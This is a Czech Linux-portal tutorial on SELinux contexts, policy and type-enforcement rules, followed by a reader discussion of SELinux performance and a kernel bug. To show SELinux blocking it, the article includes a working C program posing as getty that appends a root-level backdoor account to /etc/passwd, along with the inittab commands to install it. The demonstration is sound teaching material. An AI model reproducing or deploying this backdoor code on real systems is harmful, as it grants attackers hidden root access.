abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×

včera 18:55 | Komunita

NHSbuntu (Joinup, prezentace) měla být z Ubuntu vycházející linuxová distribuce přizpůsobená pro potřeby britské Národní zdravotní služby (NHS). NHS se název nelíbil, nejednalo se o oficiální projekt NHS, a proto bylo NHSbuntu v září loňského roku přejmenováno na NHoS. Vývojáři NHoS tento týden oznámili, že NHS se nelíbí ani název NHoS a už nemají sílu na další přejmenování a pokračování v projektu. Dodávají, že několik jednání s vedením

… více »
Ladislav Hagara | Komentářů: 2
včera 18:44 | Pozvánky

Koncem ledna, 29. 1. 2018 od 17 do 20 hodin se v Akademii CZ.NIC uskuteční večer s Turrisem.

Co bude na programu?… více »
Miška | Komentářů: 1
včera 18:33 | Pozvánky

Na tri dni sa hlavné mesto Slovenska po tretíkrát zmení na miesto s najväčšou koncentráciou profesionálnych programátorov, systémových administrátorov, učiteľov informatiky aj technologických nadšencov. Hlavným lákadlom bude konferencia PyCon SK 2018, určená záujemcom o Python, jeden z najpopulárnejších programovacích jazykov na svete.

… více »
RicCo386 | Komentářů: 0
včera 18:22 | Pozvánky

Letošní ročník konference Prague PostgreSQL Developer Day se koná ve dnech 14. 2. a 15. 2. 2018. Zveřejněn byl program s přednáškami a školeními. Otevřena byla také registrace na konferenci.

TomasVondra | Komentářů: 0
včera 11:33 | Komunita

Společnost Canonical stojící za linuxovou distribucí Ubuntu oznámila dostupnost nástroje pro týmovou spolupráci Slack (Wikipedie) ve formátu snap. Instalovat jej lze ze Snapcraftu. Slack pro Linux je dostupný také ve formátu klasických balíčků pro Ubuntu a Fedoru.

Ladislav Hagara | Komentářů: 9
18.1. 17:33 | Nová verze

Po roce vývoje od vydání verze 2.0 a 6 000 změnách byla vydána nová stabilní verze 3.0 softwaru, který vytváří aplikační rozhraní umožňující chod aplikací pro Microsoft Windows také pod GNU/Linuxem, Wine (Wikipedie). Z novinek lze zdůraznit například podporu Direct3D 10 a 11. Podrobnosti v poznámkách k vydání.

Ladislav Hagara | Komentářů: 14
18.1. 13:44 | Zajímavý projekt

V říjnu loňského roku úspěšně skončila kampaň na podporu chytrého telefonu Librem 5, jenž by měl respektovat bezpečnost, svobodu a soukromí uživatelů. Společnost Purism informuje o aktuálním vývoji tohoto telefonu. Místo plánovaného SoC i.MX6 by měl být použit úspornější i.MX8.

Ladislav Hagara | Komentářů: 3
18.1. 12:33 | Zajímavý projekt

V květnu loňského roku měl na YouTube premiéru krátký animovaný film Agent 327: Operation Barbershop. Blender Animation Studio včera zveřejnilo alternativní konec tohoto filmu.

Ladislav Hagara | Komentářů: 0
18.1. 05:55 | Bezpečnostní upozornění

Společnost Oracle vydala čtvrtletní bezpečnostní aktualizaci svých softwarových produktů (CPU, Critical Patch Update). Opraveno bylo celkově 237 bezpečnostních chyb. V Oracle Java SE je například opraveno 21 bezpečnostních chyb. Vzdáleně zneužitelných bez autentizace je 18 z nich. V Oracle MySQL je opraveno 25 bezpečnostních chyb. Vzdáleně zneužitelných bez autentizace je 6 z nich.

Ladislav Hagara | Komentářů: 0
17.1. 20:55 | Komunita

Linux ve VirtualBoxu nebude potřebovat Přídavky pro hosta (Guest Additions). Budou součástí linuxového jádra. Ovladač vboxguest by se měl dostat do Linuxu 4.16. Ovladač vboxsf by měl následovat.

Ladislav Hagara | Komentářů: 26
Jak se vás potenciálně dotkne trend odstraňování analogového audio konektoru typu 3,5mm jack z „chytrých telefonů“?
 (7%)
 (1%)
 (1%)
 (1%)
 (76%)
 (13%)
Celkem 1339 hlasů
 Komentářů: 53, poslední 17.1. 16:55
    Rozcestník

    Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)

    19. 8. 2009 | Michal Svoboda | Bezpečnost | 7212×

    Máme-li nainstalovaný aspoň základní systém s běžícím SELinuxem (viz minulý díl), můžeme začít zkoumat principy, na kterých tento systém stojí. V dnešním díle si povíme hlavně o principu TE, který je pro SELinux stěžejní.

    Obsah

    Bezpečnostní kontext

    link

    Minulý díl jsme zakončili krátkým průzkumem instalované politiky. Zjistili jsme, že příkazem ps xaZ lze vypsat bezpečnostní kontext, ve kterém běží procesy. Pod pojmem „bezpečnostní kontext“ si můžeme představit nějakou nálepku, která říká systému, co je daný objekt (soubor, proces, …) zač. V klasickém UNIXu tuto úlohu přebírají UID a GID, v případě procesu se ještě rozlišuje EUID, FSUID, atd. U SELinuxu se tento kontext rozšiřuje o další pole a typicky se zapisuje ve formátu user:role:type:sensitivity:category. Jelikož jsou jednotlivé části kontextu z pohledu uživatele pouze řetězce, používá se pro lepší orientaci něco jako maďarská notace, tj. píšeme mujuser_u, mojerole_r, mujtyp_t. Pro pole sensitivitycategory se používají pouze čísla, např. s3, nebo c42.

    Proč je v bezpečnostním kontextu tolik polí? Protože v SELinuxu tvoří bezpečnost dohromady několik principů: „Type enforcement“ (TE) pracuje s polem type a stará se o to, který proces smí dělat nějakou činnost, „role based access control“ (RBAC) pracuje s userrole a řeší, kdo (míněno uživatel člověk) smí co dělat, a konečně „multi level/category secutity“ (MLS/MCS) pracuje se sensitivitycategory a určuje, jakým způsobem smí proudit v systému data. Při tom všem samozřejmě stále funguje původní UNIXová bezpečnost.

    Bezpečnostní politika

    link

    Pod pojmem „bezpečnostní politka“ si představme sadu pravidel, která říkají, co je povoleno, a co ne. V klasickém UNIXu jsou částí politiky například práva k souborům; třeba výpis z klasického ls -l říká:

    -rw-r--r-- pht users 2.html
    

    …neboli „proces s FSUID=pht smí číst a zapisovat, proces s FSGID=users smí číst, a každý jiný proces smí číst“. Tato pravidla se dále trochu komplikují pravidly k nadřazenému adresáři a faktem, že root smí všechno, ale v podstatě je toto celá politika, co se týče tohoto souboru. Všimněme si, že nelze specifikovat, který proces s danými FSUID, FSGID může k souboru přistupovat.

    SELinux tento princip rozšiřuje několika směry. V pravidlech se samozřejmě vyskytují SELinuxové bezpečnostní kontexty. Dále je možno specifikovat mnohem podrobnější práva, než jen „číst“ a „psát“. Nejdůležitější ale je, že pravidlo vždy specifikuje zdrojový a cílový kontext. Například u souboru se soukromým PGP klíčem lze definovat, že jej může otevřít pouze proces gpg, který má typovou část bezpečnostního kontextu gpg_t, ale už ne firefox, který běží s typem firefox_t, ačkoliv oba procesy běží se stejným FSUID. Tím lze účinně zabránit javascript/flash/… exploitům, aby se hrabaly v soukromých datech. Podobně lze omezit přístup pomocí kategorie souboru nebo úrovně citlivosti v MLS systému.

    Typy

    link

    Nejprve se budeme zabývat mechanismem TE, jelikož kolem něj se soustřeďuje většina pravidel i problémů. Budeme tedy zatím z celého kontextu potřebovat pouze typ. Typem objektu říkáme systému „tento proces plní funkci démona cron“ nebo „tento soubor obsahuje hesla uživatelů (shadow)“. Někdy se také typu u běžícího procesu říká doména, což je odborný název pro české slovo chlívek. Důvod je jasný: Proces běží ve svém chlívku.

    Podíváme-li se na soubor /etc/shadow na SELinuxovém systému, uvidíme něco jako:

    # ls -lZ /etc/shadow
    -rw-r----- 1 root shadow system_u:object_r:shadow_t:s0 739 2009-07-24 10:03 /etc/shadow
    

    Soubor shadow má tedy kromě obvyklých UID a GID navíc typ shadow_t. Pokud bychom se chtěli podívat, jak současná politika zachází s tímto typem, budeme potřebovat balíček setools a programy sesearch nebo apol.

    Analýza pravidel TE

    link

    Pomocí programu sesearch vyhledáme všechna pravidla, která povolují (--allow) někomu něco dělat s cílovým typem shadow_t (-t shadow_t):

    sesearch --allow -t shadow_t
    

    Výsledek závisí samozřejmě na konkrétní instalaci systému. Na mém serveru je výstupem 46 pravidel. Například

    allow passwd_t shadow_t : file { ioctl read write create getattr setattr
    lock relabelfrom relabelto append unlink link rename open } ;
    

    určuje, že proces s typem passwd_t (což je obvykle instance programu /usr/bin/passwd) smí provádět nad soubory (file) typu shadow_t (což je náš /etc/shadow) zmíněné operace. Vidíme, že proces smí mj. zapisovat, ale to je vzhledem k jeho funkci nezbytné. Na druhou stranu takový program chkpwd má práva podstatně užší:

    allow user_chkpwd_t shadow_t : file { read getattr } ;
    

    Některé verze programu sesearch neumí pracovat s takzvanými atributy, což jsou v principu zástupné symboly pro určitou množinu typů. Ve výpisu pak tedy můžeme vidět něco jako @ttr0164. Expanzi těchto skupin umí provádět program apol. Je to sice GUI program, ale v některých ohledech je chytřejší než sesearch.

    Do programu apol je nejprve nutné nahrát politiku příkazem File → Open, kde zaškrtneme modular (detaily jindy), a do base filename vyplníme /etc/selinux/default/modules/active/base.pp. Část default (jméno politiky) se může na různých systémech lišit. Dále pokračujeme do záložky Policy rulesTE rules, kde si naklikáme požadovaný filtr a dáme New Search (viz obrázek).

    selinux apol

    Pokud se podíváme na výpis pravidel detailněji, uvidíme, že některá zdánlivě nedávají smysl, např.

    allow mount_t file_type : filesystem mount

    znamená, že pokud existuje někde nějaký adresář s kontextem shadow_t, je možno do něj pomocí programu mount připojit souborový systém. Toto je jeden z projevů „targeted“ politiky, kterou ještě zmíníme podrobněji, kde je hlavním cílem omezit nebezpečné akce, na rozdíl od snahy definovat co nejmenší množinu práv. Všimněme si totiž, že tentýž mount nemá možnost z /etc/shadow číst.

    Mohlo by se také zdát, že 46 pravidel kvůli jednomu souboru je docela hodně. Je to ale jeden z nejdůležitějších souborů a navíc 46 interakcí pro celý systém, ve kterém jsou stovky programů, není zas tak mnoho.

    Zákeřné getty

    link

    Dnešní článek uzavřeme praktickým prověřením teorie z minulého dílu, že proces getty, který má v klasickém UNIXu neomezená práva, jelikož se spouští pod rootem, nemůže napáchat v SELinuxu nějakou větší škodu, například přepsat /etc/passwd. Nejprve zjistíme, že typ souboru passwd je etc_t, pak se podíváme na

    sesearch --allow -s getty_t -t etc_t

    abychom se ujistili, že opravdu tato interakce mezi těmito dvěma typy není povolena. Dále napíšeme „zákeřné getty“, které se pokusíme propašovat do systému a spustit ho pomocí initu tak, jak se spouští normální getty.

    # cat >getty.c
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    const char my_line[] =
            "hacker:$1$fOgX0B7X$EX0sidhlIcxTcqzvxGZqa0:0:0::/:/bin/sh\n";
    int main()
    {
            FILE *f = fopen("/etc/passwd", "a");
    
            if (f) {
                    fwrite(my_line, sizeof(*my_line), strlen(my_line), f);
                    fclose(f);
            }
            while (1) {
                    pause();
            }
    
            return 0;
    }
    ^D
    # gcc -O2 -Wall -o /sbin/evil_getty getty.c
    

    (Co se skrývá pod hashem nechám na zvědavosti a výpočetní síle čtenářů.)

    Nyní nastavíme na našem programu správný kontext. Pomocí ls -lZ zjistíme, že /sbin/getty má typ getty_exec_t a pak použijeme chcon:

    # chcon -t getty_exec_t /sbin/evil_getty
    

    A nakonec nainstalujeme program do inittabu:

    # echo 'ev:2345:respawn:/sbin/evil_getty' >> /etc/inittab
    # kill -1 1
    

    …a vidíme, že se s passwd nic nestalo a v logu přibyla hláška

    type=1400 audit(1249904379.731:40): avc:  denied  { append } for
    pid=9701 comm="evil_getty" name="passwd" dev=sda2 ino=449902
    scontext=system_u:system_r:getty_t:s0
    tcontext=system_u:object_r:etc_t:s0 tclass=file
    

    (Pokud systém neběží v enforcing režimu, tak kromě hlášky přibude i ten řádek v passwd.)

    Takže, až na nás zase někdo vyběhne s otázkou, zda je SELinux k něčemu dobrý, můžeme mu ukázat naše zákeřné getty a poprosit ho, zda by si ho nezavedl do inittabu na svém ne-SELinuxovém systému!

    CVUT logo

    Příště

    link

    V dalším díle uzavřeme výklad principů TE a RBAC, čímž si vydláždíme cestu k bližšímu zkoumání principů politiky, která je distribuována v balíčcích (tzv. referenční politika).

    Poděkování

    Článek vznikl za podpory ČVUT FEL, Katedra kybernetiky, kde jsou k dispozici, mimo jiné, studijní programy Otevřená informatika a Kybernetika a robotika.

           

    Hodnocení: 100 %

            špatnédobré        

    Nástroje: Tisk bez diskuse

    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    Komentáře

    Vložit další komentář

    Bedňa avatar 19.8.2009 09:35 Bedňa | skóre: 34 | blog: Žumpa | Horňany
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)

    Zaujímalo by ma ako táto bezpečnostná politika žerie strojový čas, napr. si skúšal porovnávať vylistovanie adresára, presun, vymazávanie súborov, zápis, čítanie so suborov a tiež ako je to s bugmi, lebo pri takto sofistikovanej kontrole môže nastať nespočetne veľa chýb, aby to s bezpečnosťou neskončilo horšie ako pri klasickom unixom systéme.

     

    KERNEL ULTRAS video channel >>>
    19.8.2009 09:45 pht | skóre: 48 | blog: pht
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Shodou okolností o výkonu nedávno vyšel článek na phoronixu: http://www.phoronix.com/scan.php?page=article&item=fedora_debug_selinux&num=1.

    Shrnul bych to tak, že samozřejmě nějaké zpoždění tam je, ale to bychom za chvíli taky nemuseli mít ani ten operační systém v protected modu a jet jako za starých časů v unreal režimu pod dosem. Máme dnes 3 GHz mašiny, tak dejme trochu výkonu i bezpečnosti místo kochání se nad 10% load.

    Co se týče bezpečnosti, každý kód může s sebou přinést další chyby, ale za ty roky co je SELinux v mainstream jádře, bude určitě ten kód dost dobře odladěn.
    In Ada the typical infinite loop would normally be terminated by detonation.
    19.8.2009 10:12 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Co se týče bezpečnosti, každý kód může s sebou přinést další chyby, ale za ty roky co je SELinux v mainstream jádře, bude určitě ten kód dost dobře odladěn.
    Jj, například byla dobře odladěná ta chyba, kdy SELinux zrušil mmap_min_addr, takže umožnil exploit chyby s NULL ukazatelem

    Btw. - unreal režim? ;-)
    Quando omni flunkus moritati
    19.8.2009 10:20 pht | skóre: 48 | blog: pht
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    http://en.wikipedia.org/wiki/Unreal_mode

    Jasně, je chyba v jádře, ale proti té Vám nepomůže SELinux ani nic jiného. Zrovna tak Vám nepomůže, pokud někdo vyzradí hesla, nebo pokud má někdo fyzický přístup k počítači. Ve spoustě ostatních případů ale pomůže, a to se počítá. Bezpečnost není binární veličina, jak si řada lidí ráda myslí.
    In Ada the typical infinite loop would normally be terminated by detonation.
    19.8.2009 10:40 Radek Hladik | skóre: 20
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)

    Já si vždycky vzpomenu na poučku ze školy, že bezpečnost není stav, ale proces :-)

    Co se týče výkonu, tak mám pocit, že SELinux dělá poměrně chytré cachování.  Kdysi jsem dělal srovnání 32bit/64bit, PAE/nePAE a i SELinux/NeSELinux. Bohužel hlavní důraz byl na výpočetní výkon a ne souboroové operace, ale i těch tam pár bylo a vliv SELinuxu byl naprosto zanedbatelný až splývající s chybou měření.

    19.8.2009 11:22 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Jasně, je chyba v jádře, ale proti té Vám nepomůže SELinux ani nic jiného.
    No pozor, ta chyba sice byla v jádře, ale přímo v SELinuxu (taky). SELinux tam něco povoloval, přestože bezpečnostní moduly mají jenom omezovat.
    Quando omni flunkus moritati
    19.8.2009 11:27 pht | skóre: 48 | blog: pht
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Já nějak nechápu, čím se to liší od jiné chyby v jádře.
    In Ada the typical infinite loop would normally be terminated by detonation.
    19.8.2009 13:35 xurpha
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)

    Ta chyba tam byla nezávisle na SELinuxu...

    19.8.2009 15:52 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Omyl - těch chyb tam bylo víc a jedna byla v SELinuxu.
    Quando omni flunkus moritati
    19.8.2009 20:00 pht | skóre: 48 | blog: pht
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Pokud to chápu dobře, tak ta "chyba v SELinuxu" pouze způsobila, že se odkryla hot fix záplata na jinou chybu. Byl to tedy kombinovaný efekt obou chyb.
    In Ada the typical infinite loop would normally be terminated by detonation.
    19.8.2009 20:55 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Ta chyba v SELinuxu v podstatě umožnila zneužití jiné chyby - zlikvidovala limit na minimální adresu, kterou může uživatelský prostor použít.
    Quando omni flunkus moritati
    19.8.2009 21:12 pht | skóre: 48 | blog: pht
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    A co z toho vyvozujete? :-)
    In Ada the typical infinite loop would normally be terminated by detonation.
    19.8.2009 22:42 trekker.dk | skóre: 71
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    ale za ty roky co je SELinux v mainstream jádře, bude určitě ten kód dost dobře odladěn.
    Že tohle není tak úplně pravda.
    Quando omni flunkus moritati
    20.8.2009 07:17 pht | skóre: 48 | blog: pht
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Pravdu má každý svou. SELinux je dost dobře odladěn na to, aby pravidelně nezpůsoboval větší bezpečnostní problémy, než jim zamezoval, tudíž aby se ho vyplatilo používat.
    In Ada the typical infinite loop would normally be terminated by detonation.
    3.9.2009 09:16 pht | skóre: 48 | blog: pht
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Abych uvedl Vaše tvrzení na pravou míru (viz články [1] a [2]).
    1. Kód SELinuxu jako takový je v pořádku a nic mu nechybí.
    2. Celé "omg!!! selinux něco povoluje" je jen o tom, že v systému bez selinux potřebujete roota na namapování 0, v systému se selinux roota a priori nepotřebujete, ale potřebujete to mít povoleno v politice.
    3. Některé aplikace (např. wine) potřebují mapovat 0. Na tradičním systému jim můžete dát roota, nebo nastavit mmap_min na 0. V selinuxu nepotřebujete ani jedno, stačí dát konkrétní aplikaci konkrétní právo. Co je lepší?
    4. Jedinej problém je v tom, že implicitně se používá politika s typem "unconfined", který dovoluje uživatelům všechno (v rámci normálních UNIX pravidel), tj. i mapovat 0. To ale není problém kódu SELinuxu, ale aplikované politiky. Je to ekvivalent toho, když na neselinuxu dáte každému roota. Kdo má v hlavě aspoň trochu bezpečnostního povědomí, tak tuto politiku nepoužívá.
    [1] http://eparis.livejournal.com/606.html

    [2] http://lkml.indiana.edu/hypermail/linux/kernel/0907.2/01444.html
    In Ada the typical infinite loop would normally be terminated by detonation.
    Nicky726 avatar 20.8.2009 14:32 Nicky726 | skóre: 56 | blog: Nicky726
    Rozbalit Rozbalit vše Re: Nebojte se SELinuxu – 2 (kontext, politika a pravidla TE)
    Co jsem zkoumal nějaké testy, tak v reálném nasazení není téměř žádný dopad a v syntetických testech to byly většinou jen jednotky procent.

    Jinak díky za hezký článek.
    Enjoy the detours. There you’ll find the things more important than what you want. (Hunter x Hunter)

    Založit nové vláknoNahoru

    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.